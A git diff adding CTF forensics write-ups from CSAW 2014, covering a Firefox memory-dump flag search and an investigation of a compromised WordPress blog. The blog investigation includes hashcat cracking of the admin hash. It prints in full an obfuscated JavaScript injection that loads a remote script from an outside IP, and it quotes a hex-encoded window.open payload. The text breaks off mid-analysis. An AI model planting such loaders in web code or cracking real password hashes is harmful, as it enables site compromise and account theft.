# is preserved below as required; these modifications are released under the
|
||||
# same terms.
|
||||
#
|
||||
#
|
||||
# Copyright (c) 2005, Aggelos Orfanakos <csst0266atcsdotuoidotgr>
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# * Redistributions of source code must retain the above copyright notice, this
|
||||
# list of conditions and the following disclaimer.
|
||||
#
|
||||
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
|
||||
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
1012
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md
Normal file
1012
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md
Normal file
File diff suppressed because it is too large
Load diff
|
|
@ -0,0 +1,161 @@
|
|||
# Forensics-100: dumpster diving
|
||||
|
||||
This is the first forensic problem, and it is only 100 points. The problem starts with the following text:
|
||||
|
||||
> dumpsters are cool, but cores are cooler
|
||||
>
|
||||
> Written by marc
|
||||
>
|
||||
> [firefox.mem.zip]
|
||||
|
||||
|
||||
|
||||
----------
|
||||
|
||||
##Unziping firefox.mem.zip
|
||||
|
||||
The given file has a funny extension *.mem.zip*. Before we go ahead and unzip it, let's try to learn more about this file. To do this we choose to use the Linux's command [file]:
|
||||
|
||||
```sh
|
||||
$ file --help
|
||||
Usage: file [OPTION...] [FILE...]
|
||||
Determine type of FILEs.
|
||||
|
||||
--help display this help and exit
|
||||
-v, --version output version information and exit
|
||||
-m, --magic-file LIST use LIST as a colon-separated list of magic
|
||||
number files
|
||||
-z, --uncompress try to look inside compressed files
|
||||
-b, --brief do not prepend filenames to output lines
|
||||
-c, --checking-printout print the parsed form of the magic file, use in
|
||||
conjunction with -m to debug a new magic file
|
||||
before installing it
|
||||
-e, --exclude TEST exclude TEST from the list of test to be
|
||||
performed for file. Valid tests are:
|
||||
apptype, ascii, cdf, compress, elf, encoding,
|
||||
soft, tar, text, tokens
|
||||
-f, --files-from FILE read the filenames to be examined from FILE
|
||||
-F, --separator STRING use string as separator instead of `:'
|
||||
-i, --mime output MIME type strings (--mime-type and
|
||||
--mime-encoding)
|
||||
--apple output the Apple CREATOR/TYPE
|
||||
--mime-type output the MIME type
|
||||
--mime-encoding output the MIME encoding
|
||||
-k, --keep-going don't stop at the first match
|
||||
-l, --list list magic strength
|
||||
-L, --dereference follow symlinks (default)
|
||||
-h, --no-dereference don't follow symlinks
|
||||
-n, --no-buffer do not buffer output
|
||||
-N, --no-pad do not pad output
|
||||
-0, --print0 terminate filenames with ASCII NUL
|
||||
-p, --preserve-date preserve access times on files
|
||||
-r, --raw don't translate unprintable chars to \ooo
|
||||
-s, --special-files treat special (block/char devices) files as
|
||||
ordinary ones
|
||||
-C, --compile compile file specified by -m
|
||||
-d, --debug print debugging messages
|
||||
```
|
||||
|
||||
We find the flag ```-z```, which allows us to look inside the zipped files:
|
||||
|
||||
```sh
|
||||
$ file -z firefox.mem.zip
|
||||
firefox.mem.zip: ELF 64-bit LSB core file x86-64, version 1 (SYSV) (Zip archive data, at least v2.0 to extract)
|
||||
```
|
||||
Cool! So let's go ahead and unzip this file:
|
||||
|
||||
```sh
|
||||
$ unzip firefox.mem.zip nzip firefox.mem.zip
|
||||
Archive: firefox.mem.zip
|
||||
inflating: firefox.mem
|
||||
creating: __MACOSX/
|
||||
inflating: __MACOSX/._firefox.mem
|
||||
```
|
||||
|
||||
--------
|
||||
|
||||
|
||||
|
||||
## Extra: Learning More about the *.mem* File
|
||||
|
||||
This is a very weird file extension. If you google *.mem*, you don't find much, it's clear it's a memory file, but what now? From the *file* command, we learned that this is an *ELF 64-bit LSB core*. Let's understand this by parts.
|
||||
|
||||
An [ELF] file (Executable and Linkable Format) is a standard file format for executables, object code, shared libraries, and core dumps. The cool thing about ELF is that it's not bound to any particular architecture.
|
||||
|
||||
In Linux, we can use the command [readelf] to displays information about ELF files:
|
||||
|
||||
|
||||
```sh
|
||||
$ readelf firefox.mem
|
||||
Usage: readelf <option(s)> elf-file(s)
|
||||
Display information about the contents of ELF format files
|
||||
Options are:
|
||||
-a --all Equivalent to: -h -l -S -s -r -d -V -A -I
|
||||
-h --file-header Display the ELF file header
|
||||
-l --program-headers Display the program headers
|
||||
--segments An alias for --program-headers
|
||||
-S --section-headers Display the sections' header
|
||||
--sections An alias for --section-headers
|
||||
-g --section-groups Display the section groups
|
||||
-t --section-details Display the section details
|
||||
-e --headers Equivalent to: -h -l -S
|
||||
-s --syms Display the symbol table
|
||||
--symbols An alias for --syms
|
||||
--dyn-syms Display the dynamic symbol table
|
||||
-n --notes Display the core notes (if present)
|
||||
-r --relocs Display the relocations (if present)
|
||||
-u --unwind Display the unwind info (if present)
|
||||
-d --dynamic Display the dynamic section (if present)
|
||||
-V --version-info Display the version sections (if present)
|
||||
-A --arch-specific Display architecture specific information (if any)
|
||||
-c --archive-index Display the symbol/file index in an archive
|
||||
-D --use-dynamic Use the dynamic section info when displaying symbols
|
||||
-x --hex-dump=<number|name>
|
||||
Dump the contents of section <number|name> as bytes
|
||||
-p --string-dump=<number|name>
|
||||
Dump the contents of section <number|name> as strings
|
||||
-R --relocated-dump=<number|name>
|
||||
Dump the contents of section <number|name> as relocated bytes
|
||||
-w[lLiaprmfFsoRt] or
|
||||
--debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
|
||||
=frames-interp,=str,=loc,=Ranges,=pubtypes,
|
||||
=gdb_index,=trace_info,=trace_abbrev,=trace_aranges]
|
||||
Display the contents of DWARF2 debug sections
|
||||
--dwarf-depth=N Do not display DIEs at depth N or greater
|
||||
--dwarf-start=N Display DIEs starting with N, at the same depth
|
||||
or deeper
|
||||
-I --histogram Display histogram of bucket list lengths
|
||||
-W --wide Allow output width to exceed 80 characters
|
||||
@<file> Read options from <file>
|
||||
-H --help Display this information
|
||||
-v --version Display the version number of readelf
|
||||
|
||||
```
|
||||
|
||||
|
||||
In addition, [LSB] stands for *Linux Standard Base*, which is a joint project by several Linux distributions. It specifies standard libraries, a number of commands and utilities that extend the POSIX standard, the layout of the file system hierarchy, run levels, the printing system, etc.
|
||||
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Extracting Information from the *.mem* File
|
||||
|
||||
It turned out that we don't even need to know anything about the file to find the flag. All we need to do is to search for the *flag* string:
|
||||
|
||||
```sh
|
||||
$ cat firefox.mem | grep -a 'flag{'
|
||||
P<><50>negativeone_or_fdZZZZZZZZZZZZnegativeone_or_nothingZZnegativeone_or_ssize_tZZd_name_extra_sizeZZZZZZZZZZZZnull_or_dirent_ptrZZZZZZZZZZOSFILE_SIZEOF_DIRZZZZZZZZZZZZ<5A><5A><EFBFBD><EFBFBD> 3<><><7F><EFBFBD><EFBFBD><><7F><EFBFBD><EFBFBD>ZZZZZZZH<5A>f<EFBFBD>L<><4C>L<7F><4C>ZZ<5A><5A><EFBFBD><EFBFBD>@<40>m<EFBFBD><><7F><EFBFBD><EFBFBD><><7F><EFBFBD><EFBFBD>ZZZZZZZAG<41>@r<EFBFBD><EFBFBD><>y<EFBFBD><79>ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}
|
||||
```
|
||||
|
||||
Yay! We found the flag: **cd69b4957f06cd818d7bf3d61980e291**!
|
||||
|
||||
**Hack all the things!**
|
||||
|
||||
|
||||
[LSB]: http://en.wikipedia.org/wiki/Linux_Standard_Base
|
||||
[readelf]: http://linux.die.net/man/1/readelf
|
||||
[file]: http://en.wikipedia.org/wiki/File_(command)
|
||||
[firefox.mem.zip]: https://ctf.isis.poly.edu/static/uploads/606580b079e73e14ab2751e35d22ad44/firefox.mem.zip
|
||||
[ELF]: http://en.wikipedia.org/wiki/Executable_and_Linkable_Format
|
||||
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1,568 @@
|
|||
# Forensics-300: Fluffy No More
|
||||
|
||||
This is the fourth and the last forensics challenge in the CSAW CTF 2014 competition. I think it was much harder than any of the three before it, but it's also much more interesting.
|
||||
|
||||
The challenge stars with the following text:
|
||||
|
||||
|
||||
> OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner.
|
||||
> Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
|
||||
>
|
||||
>Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of it's database and configuration. Figure out what is going on!
|
||||
>
|
||||
>Written by brad_anton
|
||||
>
|
||||
> [CSAW2014-FluffyNoMore-v0.1.tar.bz2]
|
||||
|
||||
Oh, no! Nobody should mess with fluffy bunnies! Ever! Let's find how this attack happened!
|
||||
|
||||
|
||||
## Inspecting the Directories
|
||||
|
||||
We start by checking the identity of the file with the command [file]. We do this to make sure that the extension is not misleading:
|
||||
```sh
|
||||
$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2
|
||||
CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k
|
||||
|
||||
```
|
||||
|
||||
OK, cool, we can go ahead and unzip the *bzip2* (compressed) tarball:
|
||||
|
||||
```sh
|
||||
$ tar --help | grep bz
|
||||
-j, --bzip2 filter the archive through bzip2
|
||||
$ tar -xjf CSAW2014-FluffyNoMore-v0.1.tar.bz2
|
||||
```
|
||||
Now, let's take a look inside the folder:
|
||||
```sh
|
||||
$ tree CSAW2014-FluffyNoMore-v0.1
|
||||
CSAW2014-FluffyNoMore-v0.1
|
||||
├── etc_directory.tar.bz2
|
||||
├── logs.tar.bz2
|
||||
├── mysql_backup.sql.bz2
|
||||
└── webroot.tar.bz2
|
||||
|
||||
0 directories, 4 files
|
||||
```
|
||||
|
||||
All right, 4 more tarballs. Unzip and organizing them, gives us the following directories:
|
||||
|
||||
- etc/
|
||||
- var/log and var/www
|
||||
- mysql_backup.sql ([MySQL database dump file])
|
||||
|
||||
|
||||
This is the directory structure of a [LAMP server], where LAMP stands for Linux-Apache-MySQL-PHP in the [Linux File System]. In this framework, the PHP/HTML/JavaScript webpage is placed inside ```var/www```.
|
||||
|
||||
The directory ```var/``` contains files that are expected to change in size and content as the system is running (var stands for variable). So it is natural that system log files are generally placed at ```/var/log```.
|
||||
|
||||
|
||||
Finally, the ```etc/``` directory contains the system configuration files. For example, the file ```resolv.conf``` tells the system where to go on the network to obtain host name to IP address mappings (DNS), or the file ```passwd``` stores login information.
|
||||
|
||||
---
|
||||
|
||||
## Life is Made of Futile Tries
|
||||
|
||||
OK, before anything, we need to give a chance:
|
||||
```sh
|
||||
$ grep -r -l "key{"
|
||||
var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
|
||||
$ grep -r -l "flag{"
|
||||
var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
```
|
||||
|
||||
Is our life this easy??? No, of course not. The hits we got are just funny names to mislead us, for example:
|
||||
```html
|
||||
-96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px
|
||||
```
|
||||
|
||||
---
|
||||
## Analyzing the MySQL Dump File
|
||||
|
||||
Let's start taking a look at ```mysql_backup.sql```.
|
||||
|
||||
Of course, no luck for:
|
||||
|
||||
```sh
|
||||
$ cat mysql_backup.sql | grep 'flag{'
|
||||
```
|
||||
|
||||
Fine. We open ```mysql_backup.sql``` in a text editor. The comments table shows that someone named "hacker" made an appearance:
|
||||
|
||||
|
||||
```mysql
|
||||
-- MySQL dump 10.13 Distrib 5.5.38, for debian-linux-gnu (i686)
|
||||
--
|
||||
-- Host: localhost Database: wordpress
|
||||
-- ------------------------------------------------------
|
||||
|
||||
-- Dumping data for table `wp_comments`
|
||||
--
|
||||
(..)
|
||||
|
||||
(4,5,'Hacker','hacker@secretspace.com','','192.168.127.130','2014-09-16 14:21:26','2014-09-16 14:21:26','I HATE BUNNIES AND IM GOING TO HACK THIS SITE BWHAHAHAHAHAHAHAHAHAHAHAH!!!!!!! BUNNIES SUX',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0),
|
||||
|
||||
(7,5,'Bald Bunny','nohair@hairlessclub.com','','192.168.127.130','2014-09-16 20:47:18','2014-09-16 20:47:18','I find this blog EXTREMELY OFFENSIVE!',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0),
|
||||
|
||||
(8,5,'MASTER OF DISASTER','shh@nottellin.com','','192.168.127.137','2014-09-17 19:40:57','2014-09-17 19:40:57','Shut up baldy',0,'1','Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko','',7,0);
|
||||
(...)
|
||||
```
|
||||
|
||||
So we have the (possible) **attacker's email** and **IP address**. Maybe we can try to find a bit more about her.
|
||||
|
||||
Unfortunately the IP leads to nowhere:
|
||||
```sh
|
||||
$ ping 192.168.127.130
|
||||
PING 192.168.127.130 (192.168.127.130) 56(84) bytes of data.
|
||||
^C
|
||||
--- 192.168.127.130 ping statistics ---
|
||||
160 packets transmitted, 0 received, 100% packet loss, time 158999ms
|
||||
|
||||
$ nmap -A -v 192.168.127.130
|
||||
Starting Nmap 6.45 ( http://nmap.org ) at 2014-09-25 15:43 EDT
|
||||
NSE: Loaded 118 scripts for scanning.
|
||||
NSE: Script Pre-scanning.
|
||||
Initiating Ping Scan at 15:43
|
||||
Scanning 192.168.127.130 [2 ports]
|
||||
Completed Ping Scan at 15:43, 3.00s elapsed (1 total hosts)
|
||||
Nmap scan report for 192.168.127.130 [host down]
|
||||
NSE: Script Post-scanning.
|
||||
Read data files from: /usr/bin/../share/nmap
|
||||
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
|
||||
Nmap done: 1 IP address (0 hosts up) scanned in 3.13 seconds
|
||||
```
|
||||
|
||||
Searching for the host **secretspace.com** leads to some generic website. Inspecting its source code does not give us any hint either. Maybe its IP address?
|
||||
|
||||
```sh
|
||||
$ dig secretspace.com
|
||||
|
||||
; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> secretspace.com
|
||||
;; global options: +cmd
|
||||
;; Got answer:
|
||||
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61131
|
||||
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
||||
|
||||
;; QUESTION SECTION:
|
||||
;secretspace.com. IN A
|
||||
|
||||
;; ANSWER SECTION:
|
||||
secretspace.com. 285 IN A 72.167.232.29
|
||||
|
||||
;; Query time: 7 msec
|
||||
;; SERVER: 10.0.0.1#53(10.0.0.1)
|
||||
;; WHEN: Thu Sep 25 15:51:26 EDT 2014
|
||||
;; MSG SIZE rcvd: 49
|
||||
```
|
||||
|
||||
The IP 72.167.232.29 leads to another generic page with no hints and with nothing in special in the sourcecode. Wrong direction...
|
||||
|
||||
|
||||
All right, let's give a last try and open the tables from the MySQL dump file inside a nice GUI. I use [phpMyAdmin], which I showed how to install and configure in my tutorial about setting up a [LAMP server].
|
||||
|
||||
We open ```localhost/phpmyadmin``` in our browser. First we go to *Databases* and then *Create Database* with any name we want. Then we *Import* ```mysql_backup.sql`` to this database. All the tables are loaded. Let's use the *Search* option to look for *key* or *flag*.
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
Nope. Nothing in special. By the way, ```default_pingback_flag1`` is just a **Wordpress** flag indicating the default status of ping backs when new blog posts are published.
|
||||
|
||||
Continuing our searc, if we look inside inside each of the tables we find:
|
||||
- The URL for the [blog], which doesn't render. However, in the source code, there is a commented link that leads to a [cute website]. Nothing else.
|
||||
- A hashed password!
|
||||

|
||||
|
||||
---
|
||||
## Cracking the Password
|
||||
|
||||
We want to unhash ```$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1``` and for this we are going to use [hashcat]. If you are in [Kali] or in any Debian distribution you can install it with:
|
||||
```sh
|
||||
$ apt-get hashact
|
||||
```
|
||||
|
||||
In Fedora, we need to download and unzip it:
|
||||
```sh
|
||||
$ wget http://hashcat.net/files/hashcat-0.47.7z
|
||||
$ 7za e hashcat-0.47.7z
|
||||
```
|
||||
|
||||
Now, we are going to perform a brute force attack so we need a list of passwords. If you are using Kali, you can find them with:
|
||||
|
||||
```sh
|
||||
$ locate wordlist
|
||||
```
|
||||
If this is not the case, this is an example for you (it's allways good to have several lists!):
|
||||
```sh
|
||||
$ wget http://www.scovetta.com/download/500_passwords.txt
|
||||
$ head 500_passwords.txt
|
||||
123456
|
||||
password
|
||||
12345678
|
||||
1234
|
||||
pussy
|
||||
12345
|
||||
dragon
|
||||
qwerty
|
||||
696969
|
||||
mustang
|
||||
```
|
||||
|
||||
Hashcat is awesome because it gives you a list of hash types:
|
||||
|
||||
```
|
||||
0 = MD5
|
||||
10 = md5($pass.$salt)
|
||||
20 = md5($salt.$pass)
|
||||
30 = md5(unicode($pass).$salt)
|
||||
40 = md5(unicode($pass).$salt)
|
||||
50 = HMAC-MD5 (key = $pass)
|
||||
60 = HMAC-MD5 (key = $salt)
|
||||
100 = SHA1
|
||||
110 = sha1($pass.$salt)
|
||||
120 = sha1($salt.$pass)
|
||||
130 = sha1(unicode($pass).$salt)
|
||||
140 = sha1($salt.unicode($pass))
|
||||
150 = HMAC-SHA1 (key = $pass)
|
||||
160 = HMAC-SHA1 (key = $salt)
|
||||
200 = MySQL
|
||||
300 = MySQL4.1/MySQL5
|
||||
400 = phpass, MD5(Wordpress), MD5(phpBB3)
|
||||
500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
|
||||
800 = SHA-1(Django)
|
||||
(...)
|
||||
```
|
||||
|
||||
We choose 400 because we are dealing with Wordpress. We copy and paste the hash to a file *pass.hash*. Then, we run:
|
||||
```sh
|
||||
$ ./hashcat-cli64.bin -m 400 -a 0 -o cracked.txt --remove pass.hash word_list.txt
|
||||
|
||||
Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
|
||||
|
||||
Added hashes from file crack1.hash: 1 (1 salts)
|
||||
Activating quick-digest mode for single-hash with salt
|
||||
|
||||
NOTE: press enter for status-screen
|
||||
|
||||
|
||||
All hashes have been recovered
|
||||
|
||||
Input.Mode: Dict (500_passwords.txt)
|
||||
Index.....: 1/1 (segment), 1 (words), 14 (bytes)
|
||||
Recovered.: 1/1 hashes, 1/1 salts
|
||||
Speed/sec.: - plains, - words
|
||||
Progress..: 1/1 (100.00%)
|
||||
Running...: 00:00:00:01
|
||||
Estimated.: --:--:--:--
|
||||
|
||||
Started: Thu Sep 25 18:25:49 2014
|
||||
Stopped: Thu Sep 25 18:25:50 2014
|
||||
|
||||
```
|
||||
where:
|
||||
|
||||
* -m is for --hash-type=NUM
|
||||
* -a 0: Using a dictionary attack
|
||||
* cracked.txt is the output file
|
||||
* word_list.txt is our dictionary
|
||||
|
||||
|
||||
Now let's take a peak in the output file:
|
||||
|
||||
```sh
|
||||
$ cat cracked.txt
|
||||
$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1:fluffybunnies
|
||||
```
|
||||
|
||||
It worked! Our password is **fluffybunnies**!
|
||||
|
||||
All right, this is a very silly password! It could be easy guessed. If you were the attacker, wouldn't you try this as the first option ? OK, maybe right after *password* and *123456*...
|
||||
|
||||
|
||||
#### What we have so far
|
||||
In conclusion, all we have learned from this file was the attacker's motivation, the blog's URL, that the application was in Wordpress, and a password. Ah, also that ```mailserver_login:login@example.com``` and ```mailserver_pass=password```. Talking about security... Let's move on.
|
||||
|
||||
---
|
||||
## Inspecting /var/logs/apache2
|
||||
|
||||
The next item in the list is log inspection:
|
||||
|
||||
```sh
|
||||
$ find . -type f -name '*.log'
|
||||
./apache2/error.log
|
||||
./apache2/access.log
|
||||
./apache2/other_vhosts_access.log
|
||||
./fontconfig.log
|
||||
./boot.log
|
||||
./gpu-manager.log
|
||||
./mysql.log
|
||||
./bootstrap.log
|
||||
./pm-powersave.log
|
||||
./kern.log
|
||||
./mysql/error.log
|
||||
./alternatives.log
|
||||
./lightdm/x-0.log
|
||||
./lightdm/lightdm.log
|
||||
./casper.log
|
||||
./auth.log
|
||||
./apt/term.log
|
||||
./apt/history.log
|
||||
./dpkg.log
|
||||
./Xorg.0.log
|
||||
./upstart/container-detect.log
|
||||
./upstart/console-setup.log
|
||||
./upstart/mysql.log
|
||||
./upstart/alsa-state.log
|
||||
./upstart/network-manager.log
|
||||
./upstart/whoopsie.log
|
||||
./upstart/procps-virtual-filesystems.log
|
||||
./upstart/cryptdisks.log
|
||||
./upstart/systemd-logind.log
|
||||
./upstart/procps-static-network-up.log
|
||||
./upstart/alsa-restore.log
|
||||
./upstart/modemmanager.log
|
||||
```
|
||||
|
||||
|
||||
If there is any important information in the log files, it should appears in the end of it, because the attack should be one of the last things that were logged. [Tailing] the *apache* logs did not reveal anything useful. Maybe it is interesting to know that we see the IP *192.168.127.137* in the file */apache2/access.log*, which belongs to *MASTER OF DISASTER* (see above). So *hacker* was not the attacker?
|
||||
|
||||
|
||||
-----
|
||||
## Inspecting var/logs/auth.log
|
||||
|
||||
|
||||
Now, considering that the password **fluffybunnies** was very easy to guess, we are going to take a leap and suppose that this was how the attack was crafted. Tailing ```auth.log``` shows something interesting:
|
||||
|
||||
```sh
|
||||
Sep 17 19:18:53 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/bin/chmod -R 775 /var/www/
|
||||
Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
|
||||
Sep 17 19:20:55 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/find /var/www/html/ * touch {}
|
||||
```
|
||||
So someone logged as root and:
|
||||
1. downgraded the permissions of */var/www* (755 means read and execute access for everyone and also write access for the owner of the file), and
|
||||
2. modified a JavaScript file (html5.js) in *vi*.
|
||||
|
||||
---
|
||||
## Finding the JavaScript Exploit
|
||||
|
||||
|
||||
It looks like an attack to me! Let's [diff] this JavaScript file with the original ([which we can just google]):
|
||||
|
||||
|
||||
```sh
|
||||
$ diff html5.js html5_normal.js
|
||||
93,122d92
|
||||
< var g = "ti";
|
||||
< var c = "HTML Tags";
|
||||
< var f = ". li colgroup br src datalist script option .";
|
||||
< f = f.split(" ");
|
||||
< c = "";
|
||||
< k = "/";
|
||||
< m = f[6];
|
||||
< for (var i = 0; i < f.length; i++) {
|
||||
< c += f[i].length.toString();
|
||||
< }
|
||||
< v = f[0];
|
||||
< x = "\'ht";
|
||||
< b = f[4];
|
||||
< f = 2541 * 6 - 35 + 46 + 12 - 15269;
|
||||
< c += f.toString();
|
||||
< f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
|
||||
< c += f.toString();
|
||||
< f = "";
|
||||
< c = c.split("");
|
||||
< var w = 0;
|
||||
< u = "s";
|
||||
< for (var i = 0; i < c.length; i++) {
|
||||
< if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
|
||||
< f += String.fromCharCode(46);
|
||||
< w++;
|
||||
< }
|
||||
< f += c[i];
|
||||
< }
|
||||
< i = k + "anal";
|
||||
< document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
|
||||
|
||||
```
|
||||
Aha!!! So what is being written?
|
||||
|
||||
In JavaScript, the function ```document.write()``` writes HTML expressions or JavaScript code to a document. However, we can debug it in the console if we want, changing it to ```console.log()``` (and changing any ```document``` word to ```console```). To run JavaScript in the console, you need to install [Node]:
|
||||
```sh
|
||||
$ node html5.js
|
||||
<script src='http://128.238.66.100/analytics.js'></script>
|
||||
```
|
||||
----
|
||||
|
||||
## Analyzing the Second JavaScript Exploit
|
||||
|
||||
Awesome, we see a script exploit! Let's get it!
|
||||
|
||||
```sh
|
||||
$ wget http://128.238.66.100/analytics.js
|
||||
--2014-09-25 19:17:19-- http://128.238.66.100/analytics.js
|
||||
Connecting to 128.238.66.100:80... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 16072 (16K) [application/javascript]
|
||||
Saving to: ‘analytics.js’
|
||||
|
||||
100%[===============================================================================>] 16,072 --.-K/s in 0.008s
|
||||
|
||||
2014-09-25 19:17:19 (2.02 MB/s) - ‘analytics.js’ saved [16072/16072]
|
||||
```
|
||||
|
||||
|
||||
The file turns out to be large, and *grep* *flag* or *key* doesn't give any result back. No IP addresses or URL neither.
|
||||
|
||||
OK, let's take a closer look at it. We open the file in a text editor and we found a weird hex-encoded variable that is completely unconnected from the rest:
|
||||
```
|
||||
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
|
||||
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
|
||||
```
|
||||
|
||||
We decode it using Python or a [online hex-decode]:
|
||||
```python
|
||||
>>> print("\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E")
|
||||
('http://128.238.66.100/announcement.pdf', '_self', 'open')
|
||||
```
|
||||
|
||||
OK, another file. Opening the URL leads to this picture:
|
||||

|
||||
|
||||
|
||||
No flag yet... But it should be in the PDF somewhere!
|
||||
|
||||
___
|
||||
## Finding the Second Hex-encoded String: Approach I
|
||||
|
||||
|
||||
All right, let's use what we learned from the [CSAW CTF 2014 Forensic -Obscurity] problem. First, let's see if we find the flag with a simple grep:
|
||||
```sh
|
||||
$./pdf-parser.py announcement.pdf | grep flag
|
||||
$./pdf-parser.py announcement.pdf | grep key
|
||||
```
|
||||
|
||||
No luck. Let us ID the file to see if we find any funny stream:
|
||||
|
||||
```sh
|
||||
$ ./pdfid.py announcement.pdf PDFiD 0.1.2 announcement.pdf
|
||||
PDF Header: %PDF-1.4
|
||||
obj 9
|
||||
endobj 9
|
||||
stream 4
|
||||
endstream 4
|
||||
xref 1
|
||||
trailer 1
|
||||
startxref 1
|
||||
/Page 1
|
||||
/Encrypt 0
|
||||
/ObjStm 0
|
||||
/JS 0
|
||||
/JavaScript 0
|
||||
/AA 0
|
||||
/OpenAction 0
|
||||
/AcroForm 0
|
||||
/JBIG2Decode 0
|
||||
/RichMedia 0
|
||||
/Launch 0
|
||||
/EmbeddedFile 1
|
||||
/XFA 0
|
||||
/Colors > 2^24 0
|
||||
```
|
||||
|
||||
Oh, cool, there is a **Embedded File**! Let's look closer to this object:
|
||||
```sh
|
||||
$ ./pdf-parser.py --stats announcement.pdf Comment: 3
|
||||
XREF: 1
|
||||
Trailer: 1
|
||||
StartXref: 1
|
||||
Indirect object: 9
|
||||
2: 3, 7
|
||||
/Catalog 1: 6
|
||||
/EmbeddedFile 1: 8
|
||||
/Filespec 1: 9
|
||||
/Page 1: 5
|
||||
/Pages 1: 4
|
||||
/XObject 2: 1, 2
|
||||
```
|
||||
|
||||
Nice. So now we can decode our pdf file using the **object code**, which we can see above that is **8**:
|
||||
|
||||
```sh
|
||||
$ ./pdf-parser.py --object 8 --raw --filter announcement.pdf
|
||||
obj 8 0
|
||||
Type: /EmbeddedFile
|
||||
Referencing:
|
||||
Contains stream
|
||||
|
||||
<<
|
||||
/Length 212
|
||||
/Type /EmbeddedFile
|
||||
/Filter /FlateDecode
|
||||
/Params
|
||||
<<
|
||||
